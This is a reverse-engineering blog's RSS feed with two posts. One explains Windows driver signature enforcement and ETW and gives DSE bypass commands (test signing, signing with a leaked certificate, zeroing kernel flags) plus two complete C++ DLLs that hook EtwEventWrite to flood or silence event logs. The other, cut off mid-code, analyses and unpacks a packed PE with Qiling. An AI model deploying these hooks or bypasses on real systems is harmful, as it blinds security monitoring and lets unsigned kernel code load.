<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[0xReverse]]></title><description><![CDATA[0xReverse]]></description><link>https://0xreverse.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1744562298889/017b7b46-b68b-46b1-b847-a951dcb4e5ff.jpeg</url><title>0xReverse</title><link>https://0xreverse.com</link></image><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 22:22:59 GMT</lastBuildDate><atom:link href="https://0xreverse.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Understanding Windows ~ DSE Mechanism & Abusing ETW]]></title><description><![CDATA[Introduction
In this article, I will discuss the details of the Driver Signature Enforcement Policy and Event Tracing for Windows mechanisms, which play an important role on the Windows side for malware. Below, I have touched upon what DSE and ETW ar...]]></description><link>https://0xreverse.com/understanding-windows-dse-mechanism-and-abusing-etw</link><guid isPermaLink="true">https://0xreverse.com/understanding-windows-dse-mechanism-and-abusing-etw</guid><category><![CDATA[ETW]]></category><category><![CDATA[Windows]]></category><category><![CDATA[Kernel]]></category><dc:creator><![CDATA[Furkan Öztürk]]></dc:creator><pubDate>Tue, 14 Oct 2025 18:00:48 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>In this article, I will discuss the details of the Driver Signature Enforcement Policy and Event Tracing for Windows mechanisms, which play an important role on the Windows side for malware. Below, I have touched upon what DSE and ETW are, how they work, and scenarios for manipulating them.</p>
<h1 id="heading-windows-dse-driver-signature-policy">Windows DSE (Driver Signature Policy)</h1>
<p>First introduced in Windows Vista, this protection mechanism requires kernel-mode drivers to be signed before they can be loaded. This ensures that only trusted and verified drivers are loaded into the system, thereby preventing malicious software from running at the kernel level. This protection mechanism works in conjunction with signature processes such as Code Integrity (CI), HVCI/Memory Integrity, and Windows Hardware Dev Center.</p>
<h3 id="heading-how-does-it-work">How Does It Work?</h3>
<p>Below, I have added the sequence of logical steps Windows takes before running a driver.</p>
<ol>
<li><p>The first step before kernel startup is UEFI Secure Boot (unless the machine is very old). Code integrity is attempted throughout the boot chain (Firmware -&gt; Bootloader -&gt; OS Loader -&gt; Windows Kernel). This integrity is ensured by each component verifying the signature of the one preceding it.</p>
</li>
<li><p>Once this verification is complete, winload loads the kernel image. This allows the kernel subsystems to load (I/O manager, PnP manager, etc.). The mechanism important to us at this step is Code Integrity (CI). Code Integrity runs within the kernel and its job is to ensure that certain code is verified before it is loaded or executed (kernel images, drivers). This mechanism operates under the following three conditions:</p>
<ol>
<li><p>When the kernel image/boot-start drivers are loaded during system boot.</p>
</li>
<li><p>When a new driver is requested to be loaded.</p>
</li>
<li><p>If there is a dynamic policy (changes in Code Integrity), it can perform additional checks at specific times/configurations.</p>
<p> The Code Integrity mechanism works as follows.</p>
<ol>
<li><p>The driver file is located on the disk and a loading request is received by the kernel.</p>
</li>
<li><p>CI checks the signature information (PE signature, catalog .cat, certificate chain) to verify the file's signature.</p>
</li>
<li><p>The certificate chain is verified (checks such as whether the CA that issued the signature is valid and certificate revocation status are performed).</p>
</li>
<li><p>If required by policy, Microsoft's Dev Portal attestation/WHQL/EV requirements are checked.</p>
</li>
<li><p>If verification is successful, the driver is loaded into the kernel address space; if unsuccessful, it is not loaded and a log is generated.</p>
</li>
</ol>
</li>
</ol>
</li>
<li><p>The driver file is read from the disk and mapped into the kernel address space. On 64-bit Windows, unsigned kernel-mode code is not loaded. If this fails, the driver is not loaded and an event is written to the Code Integrity logs.</p>
</li>
</ol>
<p>It briefly checks for an Authenticode signature and verifies that it has been approved by Microsoft or a trusted CA, and if valid, allows it to be installed.</p>
<p>The process changes for Windows 10 version 1607 and later. Now, all kernel-mode drivers must be signed by the Microsoft Hardware Developer Center, or an Extended Validation (EV) code signing certificate must be uploaded to and accepted by the Microsoft Dev Center, meaning drivers must definitely go through Microsoft's dev portal.</p>
<h3 id="heading-dse-bypass">DSE Bypass</h3>
<p>In older versions (Windows 7/8), kernel drivers could be signed with an Extended Validation Code Signing Certificate. This meant you could install your own driver.</p>
<p>However, there are still many DSE bypass methods available. TESTSIGNING Bit, leaked certificates, and Kernel flag manipulation are examples of these methods.</p>
<p><strong>TESTSIGNING Bit</strong> <code>bcdedit.exe -set TESTSIGNING ON</code> Secure Boot must be disabled for this method.</p>
<p><strong>Leaked Certificates</strong> Old drivers signed before July 29, 2015 are still valid. Leaked certificates from companies such as Dell and VeriSign can be used. Signing with cross-signing certificates is required. <code>signtool sign /f Verisign.pfx /p password /ac MSCV-VSClass3.cer driver.sys</code></p>
<p><strong>Kernel Flag Manipulation</strong> One of the most common methods is changing flags in kernel memory.</p>
<ul>
<li><p>The <code>g_CiOptions</code>flag (<code>CI!g_CiOptions</code>) is used for Windows 7+: Default value in CI.dll module is 0x06 Bypass value is 0x00</p>
</li>
<li><p>The <code>g_CiEnabled</code> flag (<code>nt!g_CiEnabled</code>) is used up to Windows 7: Default value in ntoskrnl.exe is 0x01, bypass value is 0x00</p>
</li>
</ul>
<p>Windows has made defense mechanisms more complex by introducing new protection mechanisms such as Virtualization-Based Security (VBS) and Hypervisor-protected Code Integrity (HVCI). Thanks to these techniques, the Kernel now evaluates decisions such as code signature verification in an isolated VSM/secure kernel context. This makes it difficult for an attacker to directly modify kernel memory or bypass DSE by executing unsigned code.</p>
<p><strong>Virtual Secure Mode</strong> is a small, isolated secure area running within the Windows hypervisor. It executes important functions (some CI decisions are included here). The kernel now makes decisions based on VSM. This means that some CI decisions have been moved to the secure kernel within VSM. This code and data are isolated from the guest kernel. Manipulations coming from the guest kernel are controlled or rejected by the secure kernel.</p>
<p><strong>Hypervisor-protected Code Integrity</strong> This monitors the execute permissions of hypervisor kernel pages and which pages are considered signed. The kernel itself cannot make a page both writable and executable. The hypervisor prevents or requires verification for such changes or execute bit settings. Without this, an attacker gaining ring-0 access could easily write to kernel memory pages and then set the execute bit to run unsigned code.</p>
<p>However, as always, these methods do not provide 100% protection. At the very least, signed but vulnerable drivers can be exploited.</p>
<h1 id="heading-windows-etw-event-tracing-for-windows">Windows ETW (Event Tracing for Windows)</h1>
<p>Windows ETW is a kernel-level event tracing/data collection mechanism. It operates in both kernel and user mode. For example, the process creation chain is a kernel-mode event and is traced by the NT Kernel Logger, while file creation is a user-mode event traced by Sysinternals Sysmon.</p>
<p>ETW consists of three main mechanisms: provider, controller, and consumer.</p>
<p><strong>Controllers</strong></p>
<p>Determines the usage status of providers. It starts a session with StartTrace/EnableTrace and determines which providers will be used in the opened session. This phase occurs step by step as follows: The controller creates a session: The <code>StartTrace()</code> API is called. The kernel goes to the <code>EtwpStartTrace()</code> function and creates a <code>LoggerContext</code> object. The Controller specifies which providers will send logs with which Level/Keyword using <code>EnableTraceEx2()</code>. The session creates ring buffers in the kernel. Providers write events to these buffers. The <code>OpenTrace()</code> and <code>ProcessTrace()</code> APIs read this session on the consumer side.</p>
<p><strong>Provider (Event providers)</strong></p>
<p>In the simplest terms, it is the structure that sends an event that occurs in the system (kernel context switch, file access, registry change, process creation, etc.) to the ETW infrastructure. This structure can be kernel mode or user mode and is defined by specific GUIDs. Kernel mode providers are written to the ETW provider registration table in the kernel using the <code>EtwRegister(Ex)</code> function, while user mode providers are written using the <code>EventRegister</code> function. These providers use the <code>EventWrite</code> function on the user mode side and the <code>EtwWrite</code> function on the kernel side to write events. These events are written to the ring buffer (a fixed-size FIFO in memory). When this buffer fills up, new data overwrites the oldest data. When it needs to be emptied, the buffer is directed to the Consumer.</p>
<ul>
<li><p>Manifest-based providers: Event ID, level, opcode, keyword, and template are defined using XML. The Consumer parses the schema.</p>
</li>
<li><p>Manifest-less providers: The schema is generated at runtime.</p>
</li>
</ul>
<p><strong>Consumer</strong></p>
<p>This stage is the final link in the chain that listens to/reads events.</p>
<ul>
<li><p>File-based consumer: The <code>.etl</code> file is read using <code>OpenTrace()</code> + <code>ProcessTrace()</code>.</p>
</li>
<li><p>Real-time consumer: <code>OpenTrace()</code> connects with the real-time parameter. Real-time events arrive at the callbacks via <code>ProcessTrace()</code>.</p>
</li>
</ul>
<h3 id="heading-advantagesdisadvantages-of-etw">Advantages/Disadvantages of ETW</h3>
<p>This system handles many events on the kernel side without affecting system performance, and because there are so many providers, a great deal of data can be collected for forensics. We can also perform these operations by writing drivers to collect events on both the kernel and user sides, but writing drivers is much more complex, which makes this task difficult. Additionally, it may be easier for malware to detect. Using ETW, on the other hand, does not burden the system and allows events to be collected with a simpler structure, as mentioned above.</p>
<p>However, the simplicity of the ETW structure also comes with several disadvantages. For example, since providers identify themselves only with specific GUIDs, methods such as GUID spoofing can be used to create chaos in the system, kernel flags can be changed to manipulate sessions, or functions used in the ETW mechanism, such as <code>EtwEventWrite</code>, can be easily hooked to circumvent this mechanism.</p>
<p>At this point, ETW's self-protection mechanisms are quite inadequate. Since EDRs monitor event logs, malware can exploit these weaknesses in ETW to evade EDRs.</p>
<h3 id="heading-etw-abuse-scenarios">ETW Abuse Scenarios</h3>
<p>As mentioned above, there are many abuse scenarios on both the provider and controller sides. The simplest of these is the event noise technique. Since these logs will ultimately be interpreted by a human or an agent, writing fake events makes the other side's job considerably more difficult.</p>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;evntprov.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;vector&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;random&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">pragma</span> comment(lib, <span class="hljs-meta-string">"ntdll.lib"</span>)</span>

<span class="hljs-function"><span class="hljs-keyword">typedef</span> <span class="hljs-title">ULONG</span><span class="hljs-params">(WINAPI* pEtwEventWrite)</span><span class="hljs-params">(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
)</span></span>;

pEtwEventWrite g_EtwEventWrite = <span class="hljs-literal">nullptr</span>;
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;EVENT_DESCRIPTOR&gt; g_NoiseEvents;

<span class="hljs-function">ULONG WINAPI <span class="hljs-title">MyEtwEventWrite</span><span class="hljs-params">(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
)</span> </span>{
    <span class="hljs-built_in">std</span>::random_device rd;
    <span class="hljs-function"><span class="hljs-built_in">std</span>::mt19937 <span class="hljs-title">gen</span><span class="hljs-params">(rd())</span></span>;
    <span class="hljs-function"><span class="hljs-built_in">std</span>::uniform_int_distribution&lt;&gt; <span class="hljs-title">countDist</span><span class="hljs-params">(<span class="hljs-number">100</span>, <span class="hljs-number">200</span>)</span></span>;
    <span class="hljs-keyword">int</span> count = countDist(gen);

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; count; ++i) {
        <span class="hljs-function"><span class="hljs-built_in">std</span>::uniform_int_distribution&lt;&gt; <span class="hljs-title">idxDist</span><span class="hljs-params">(<span class="hljs-number">0</span>, g_NoiseEvents.size() - <span class="hljs-number">1</span>)</span></span>;
        <span class="hljs-keyword">const</span> EVENT_DESCRIPTOR&amp; desc = g_NoiseEvents[idxDist(gen)];
        g_EtwEventWrite(RegHandle, &amp;desc, <span class="hljs-number">0</span>, <span class="hljs-literal">nullptr</span>);
    }

    <span class="hljs-keyword">return</span> ERROR_SUCCESS;
}

<span class="hljs-function">LONG WINAPI <span class="hljs-title">VectoredHandler</span><span class="hljs-params">(PEXCEPTION_POINTERS ExceptionInfo)</span> </span>{
    <span class="hljs-keyword">if</span> (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        <span class="hljs-keyword">if</span> ((<span class="hljs-keyword">void</span>*)ExceptionInfo-&gt;ContextRecord-&gt;Rip == g_EtwEventWrite) {
            ExceptionInfo-&gt;ContextRecord-&gt;Rip = (DWORD64)&amp;MyEtwEventWrite;

            DWORD oldProtect;
            VirtualProtect(g_EtwEventWrite, <span class="hljs-number">1</span>, PAGE_EXECUTE_READ | PAGE_GUARD, &amp;oldProtect);
            <span class="hljs-keyword">return</span> EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    <span class="hljs-keyword">return</span> EXCEPTION_CONTINUE_SEARCH;
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">SetupHook</span><span class="hljs-params">()</span> </span>{
    HMODULE hNtdll = GetModuleHandleW(<span class="hljs-string">L"ntdll.dll"</span>);
    g_EtwEventWrite = (pEtwEventWrite)GetProcAddress(hNtdll, <span class="hljs-string">"EtwEventWrite"</span>);

    DWORD oldProtect;
    VirtualProtect(g_EtwEventWrite, <span class="hljs-number">1</span>, PAGE_EXECUTE_READ | PAGE_GUARD, &amp;oldProtect);

    AddVectoredExceptionHandler(<span class="hljs-number">1</span>, VectoredHandler);

    OutputDebugStringA(<span class="hljs-string">"[ETW HOOK] Hook installed.\n"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">InitNoiseEvents</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">1000</span>; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(<span class="hljs-number">2000</span> + i), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">10</span>, <span class="hljs-number">10</span>, <span class="hljs-number">0x0000000000000001</span>ULL });
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">500</span>; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(<span class="hljs-number">3000</span> + i), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">20</span>, <span class="hljs-number">0x0000000000000010</span>ULL });
    }
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">300</span>; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(<span class="hljs-number">4000</span> + i), <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">15</span>, <span class="hljs-number">30</span>, <span class="hljs-number">0x0000000000000080</span>ULL });
    }
}

<span class="hljs-function">BOOL WINAPI <span class="hljs-title">DllMain</span><span class="hljs-params">(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)</span> </span>{
    <span class="hljs-keyword">if</span> (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);
        InitNoiseEvents();
        SetupHook();
    }
    <span class="hljs-keyword">return</span> TRUE;
}
</code></pre>
<p>This code is a simple ETW noise code, and when loaded and run with a loader, it generates hundreds of fake logs.</p>
<p>As another abuse technique, we can hook the EtwWrite function with the following code and send a fake etw message.</p>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;evntprov.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">pragma</span> comment(lib, <span class="hljs-meta-string">"ntdll.lib"</span>)</span>

<span class="hljs-function"><span class="hljs-keyword">typedef</span> <span class="hljs-title">ULONG</span><span class="hljs-params">(WINAPI* pEtwEventWrite)</span><span class="hljs-params">(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
)</span></span>;

<span class="hljs-keyword">void</span>* g_EtwEventWrite = <span class="hljs-literal">nullptr</span>;

<span class="hljs-function">ULONG WINAPI <span class="hljs-title">MyEtwEventWrite</span><span class="hljs-params">(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
)</span> </span>{
    OutputDebugStringA(<span class="hljs-string">"[ETW HOOK] fake etw message\n"</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}

<span class="hljs-function">LONG WINAPI <span class="hljs-title">VectoredHandler</span><span class="hljs-params">(PEXCEPTION_POINTERS ExceptionInfo)</span> </span>{
    <span class="hljs-keyword">if</span> (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        <span class="hljs-keyword">if</span> ((<span class="hljs-keyword">void</span>*)ExceptionInfo-&gt;ContextRecord-&gt;Rip == g_EtwEventWrite) {
            ExceptionInfo-&gt;ContextRecord-&gt;Rip = (DWORD64)&amp;MyEtwEventWrite;

            DWORD oldProtect;
            VirtualProtect(g_EtwEventWrite, <span class="hljs-number">1</span>, PAGE_EXECUTE_READ | PAGE_GUARD, &amp;oldProtect);
            <span class="hljs-keyword">return</span> EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    <span class="hljs-keyword">return</span> EXCEPTION_CONTINUE_SEARCH;
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">SetupHook</span><span class="hljs-params">()</span> </span>{
    HMODULE hNtdll = GetModuleHandleW(<span class="hljs-string">L"ntdll.dll"</span>);
    g_EtwEventWrite = GetProcAddress(hNtdll, <span class="hljs-string">"EtwEventWrite"</span>);

    DWORD oldProtect;
    VirtualProtect(g_EtwEventWrite, <span class="hljs-number">1</span>, PAGE_EXECUTE_READ | PAGE_GUARD, &amp;oldProtect);
    AddVectoredExceptionHandler(<span class="hljs-number">1</span>, VectoredHandler);

    OutputDebugStringA(<span class="hljs-string">"[ETW HOOK] Hook installed.\n"</span>);
}

<span class="hljs-function">BOOL WINAPI <span class="hljs-title">DllMain</span><span class="hljs-params">(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)</span> </span>{
    <span class="hljs-keyword">if</span> (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);
        SetupHook();
    }
    <span class="hljs-keyword">return</span> TRUE;
}
</code></pre>
<p>When we run this code with a simple loader, we get the following output.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760389478427/6144e439-4bdf-493c-8bb0-ddd34dea5c1d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760389509633/8e430f9e-99a9-4bd6-89ca-3abee27f0e32.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Unpacking PE with Qiling Framework]]></title><description><![CDATA[This is a post of mine from an old blog (vx.zone). It has been revised again just for 0xReverse.
Introduction
In this blog post, we have a packed PE file. We will analyze it and unpack it with Qiling Framework. Once you understand how encryption work...]]></description><link>https://0xreverse.com/unpacking-pe-with-qiling-framework</link><guid isPermaLink="true">https://0xreverse.com/unpacking-pe-with-qiling-framework</guid><category><![CDATA[qiling]]></category><category><![CDATA[disassembly]]></category><category><![CDATA[Emulation]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[ghidra]]></category><dc:creator><![CDATA[Utku Çorbacı]]></dc:creator><pubDate>Fri, 09 May 2025 13:05:02 GMT</pubDate><content:encoded><![CDATA[<p>This is a post of mine from an old blog (vx.zone). It has been revised again just for 0xReverse.</p>
<h1 id="heading-introduction">Introduction</h1>
<p>In this blog post, we have a packed PE file. We will analyze it and unpack it with Qiling Framework. Once you understand how encryption works, I will explain more about Qiling. In this article we will use Cutter for analysis and Ghidra for decompile (included in Cutter).</p>
<h1 id="heading-analysis">Analysis</h1>
<h2 id="heading-detect-it-easy">Detect It Easy</h2>
<p>The first thing I would do for analysis is to scan the file into <a target="_blank" href="https://github.com/horsicq/Detect-It-Easy">Detect It Easy</a>. On the Detect It Easy screen, it says that it contains the usual protections. But we know that Sample doesn’t. To investigate why, I’ll look at how Detect It Easy does this.</p>
<pre><code class="lang-plaintext">PE: protector: PELock(-)[-]
PE: protector: Unopix(0.94)[-]
PE: linker: Microsoft Linker(14.33**)[EXE32,console]
</code></pre>
<p>In fact, it is not difficult to understand how he did it. When we switch to the Signatures tab, we see that all kinds of identifiable things have rules. Here we need to look at PELock. This signature name is <em>PELock.2</em> and code is below:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">detect</span>(<span class="hljs-params">bShowType,bShowVersion,bShowOptions</span>)
</span>{
    <span class="hljs-keyword">if</span>(PE.getNumberOfImports()==<span class="hljs-number">1</span>)
    {
        <span class="hljs-keyword">if</span>((PE.isLibraryFunctionPresent(<span class="hljs-string">"KERNEL32.DLL"</span>, <span class="hljs-string">"LoadLibraryA"</span>))!=<span class="hljs-number">-1</span>&amp;&amp;
           (PE.isLibraryFunctionPresent(<span class="hljs-string">"KERNEL32.DLL"</span>, <span class="hljs-string">"VirtualAlloc"</span>))!=<span class="hljs-number">-1</span>)
        {
            <span class="hljs-keyword">if</span>(PE.getNumberOfResources()&gt;=<span class="hljs-number">1</span>)
            {
                <span class="hljs-keyword">if</span>(PE.getNumberOfSections()&gt;=<span class="hljs-number">4</span>)
                {
                    <span class="hljs-keyword">if</span>((PE.getSectionName(<span class="hljs-number">0</span>)==PE.getSectionName(<span class="hljs-number">1</span>))&amp;&amp;(PE.getSectionName(<span class="hljs-number">0</span>)==PE.getSectionName(<span class="hljs-number">3</span>)))
                    {
                        bDetected=<span class="hljs-number">1</span>;
                    }
                }
            }
        }
    }
    <span class="hljs-keyword">return</span> result(bShowType,bShowVersion,bShowOptions);
}
</code></pre>
<p>The first thing it does is that there is “only” kernel32.dll on the Import Table. Secondly, does it have LoadLibraryA and VirtualAlloc? Thirdly, it checks the number of Resources and Sections and checks if some of the section names are equal to each other.</p>
<p>The Unopix protection (first time I’ve seen it) works like this:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">detect</span>(<span class="hljs-params">bShowType,bShowVersion,bShowOptions</span>)
</span>{
    <span class="hljs-keyword">var</span> nLastSection=PE.nLastSection;
    <span class="hljs-keyword">if</span>(nLastSection&gt;=<span class="hljs-number">2</span>)
    {
        <span class="hljs-keyword">var</span> nVirtualSize=PE.section[nLastSection].VirtualSize;
        <span class="hljs-keyword">if</span>(nVirtualSize==<span class="hljs-number">0x1000</span>)
        {
            <span class="hljs-keyword">var</span> nRawSize=PE.section[nLastSection].FileSize;
            <span class="hljs-keyword">if</span>(nVirtualSize==nRawSize)
            {
                <span class="hljs-keyword">var</span> nFlags=PE.section[nLastSection].Characteristics;
                <span class="hljs-keyword">if</span>((nFlags==<span class="hljs-number">0xe0000040</span>)&amp;&amp;(PE.section[nLastSection].Name!=<span class="hljs-string">".!ep"</span>))
                {
                    sVersion=<span class="hljs-string">"0.94"</span>;
                    bDetected=<span class="hljs-number">1</span>;
                }
            }
        }
    }
    <span class="hljs-keyword">return</span> result(bShowType,bShowVersion,bShowOptions);
}
</code></pre>
<p>I will not explain what he did because it is very clear. Summary: PELock and Unopix(?) show undesirable results in Detect It Easy because they display a similar representation. What I mainly want to do here is to compare EntryPoint and Sections in PE Info by pressing the PE button. I will find the place in Section that matches the address we see in AddressOfEntryPoint (<code>00022000</code>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745513879272/5eb41a4a-edf4-4f83-9504-8a138560580b.png" alt class="image--center mx-auto" /></p>
<p>If we look at the virtual address of the section named <em>.shell</em>, we will see that it matches the entrypoint.</p>
<h2 id="heading-packer-basics">Packer Basics</h2>
<p>There are many sources written about this. But it would be wrong to start the analysis without writing about it. Most packers work the same way. To simplify our interpretation, I will first briefly explain how they work. Packer encrypts the .text section containing executable code. It then inserts a new section into the file and changes the Entry Point accordingly. The new section does the decryption of the encrypted section (unpacking). The decrypted codes are then executed in memory.</p>
<p>For example, the data encryption function of the packer we analyzed:</p>
<pre><code class="lang-c"><span class="hljs-comment">// Encrypt the load segment and transformed import table.</span>
EncryptData(load_seg_base, load_seg_size + new_imp_table_size);
<span class="hljs-comment">//-----------------------------------------------------------</span>
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">EncryptData</span><span class="hljs-params">(BYTE* <span class="hljs-keyword">const</span> base, <span class="hljs-keyword">const</span> DWORD size)</span> </span>{
    <span class="hljs-keyword">if</span> (size == <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">return</span>;
    }
    assert(base != <span class="hljs-literal">NULL</span>);

    <span class="hljs-keyword">for</span> (DWORD i = <span class="hljs-number">0</span>; i != size; ++i) {
        base[i] += <span class="hljs-number">0xCC</span>;
    }
}
</code></pre>
<p>My goal in this article is not to dump in an executable way (i.e. I will not fix the IAT table after dumping). After Decryption with Qiling, we will take a look at the sections. For example, an image of a sample partition before it is unpacked:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745513949273/bfdfa3c6-0749-4af1-9e3f-151ff49c6f31.png" alt class="image--center mx-auto" /></p>
<p><strong>After unpacking:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745513975034/f0aaea3f-62ba-435f-a84d-8e576c869d97.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-static-analysis">Static Analysis</h2>
<p>We already knew that the file was encrypted by the deletion of the partition names. The entry point of the file we have is redirected to the address of the partition named <em>.shell</em> . After opening the Cutter, we already see one function in the functions section and we start to analyze it. This is what we will see on the graph when we open the file on Cutter (in read mode):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745514020290/7522f005-cd5d-41b3-b3ad-db0e9cae7710.png" alt class="image--center mx-auto" /></p>
<p>I will use <em>Ghidra</em> since it is more difficult to interpret such packing operations in assembly. Once we figure out how it works, we can use x32dbg and Scylla.</p>
<p>We will see while debugging, but there are some things I want to report first. Structures like [ebp + 24] that we see in assembly commands are local variables defined at the beginning of the program. Local variable definition:</p>
<pre><code class="lang-javascript">;-- (<span class="hljs-number">0x0042202e</span>) GetProcAddress:
<span class="hljs-number">0x0042202d</span>      add     byte [ebx + <span class="hljs-number">0x20</span>], cl
<span class="hljs-number">0x00422030</span>      .dword <span class="hljs-number">0x205c0002</span>
;-- GetModuleHandleA:
<span class="hljs-number">0x00422032</span>      .dword <span class="hljs-number">0x0002205c</span> ; reloc.Kernel32.dll_GetModuleHandleA
;-- LoadLibraryA:
<span class="hljs-number">0x00422036</span>      .dword <span class="hljs-number">0x0002206f</span> ; reloc.Kernel32.dll_LoadLibraryA
</code></pre>
<p>For example, we see that the packer initially uses the following commands to access some Windows APIs:</p>
<pre><code class="lang-javascript">; Get the address <span class="hljs-keyword">of</span> VirtualAlloc API.
lea     esi, [ebp + (dll_name - boot_seg_begin_lbl)]
push    esi
call    dword ptr [ebp + (second_thunk - boot_seg_begin_lbl)]
lea     esi, [ebp + (virtual_alloc_name - boot_seg_begin_lbl)]
push    esi
push    eax
call    dword ptr [ebp + (first_thunk - boot_seg_begin_lbl)]
mov     dword ptr [ebp + (virtual_alloc_addr_boot - boot_seg_begin_lbl)], eax
</code></pre>
<p>In Disassemble code:</p>
<pre><code class="lang-javascript"><span class="hljs-number">0x004220c1</span>  lea  esi, [ebp + <span class="hljs-number">0x9e</span>]
<span class="hljs-number">0x004220c2</span>  mov  ch, <span class="hljs-number">0x9e</span>   ; <span class="hljs-number">158</span>
<span class="hljs-number">0x004220c4</span>  add  byte [eax], al
<span class="hljs-number">0x004220c6</span>  add  byte [esi + <span class="hljs-number">0x50</span>], dl
<span class="hljs-number">0x004220c9</span>  call dword [ebp + <span class="hljs-number">0x2e</span>] ; <span class="hljs-number">46</span>
<span class="hljs-number">0x004220cc</span>  mov  dword [ebp + <span class="hljs-number">0xab</span>], eax
</code></pre>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">uint64_t</span> <span class="hljs-title">entry0</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
    <span class="hljs-keyword">uint8_t</span> uVar1;
    <span class="hljs-keyword">int32_t</span> iVar2;
    <span class="hljs-keyword">char</span> *pcVar3;
    <span class="hljs-keyword">char</span> *pcVar4;
    <span class="hljs-keyword">uint64_t</span> uVar5;

    <span class="hljs-comment">// [09] -rwx section size 4096 named .shell</span>

    (*_GetModuleHandleA)();
    *(code **)<span class="hljs-number">0x4220ab</span> = (code *)(*_GetProcAddress)();
    *(<span class="hljs-keyword">int32_t</span> *)<span class="hljs-number">0x4220af</span> = (**(code **)<span class="hljs-number">0x4220ab</span>)();
    <span class="hljs-comment">// WARNING: Call to offcut address within same function</span>

    func_0x00422129();
    *(<span class="hljs-keyword">int32_t</span> *)<span class="hljs-number">0x422125</span> = *(<span class="hljs-keyword">int32_t</span> *)<span class="hljs-number">0x4220af</span> + <span class="hljs-number">-0x422129</span>;
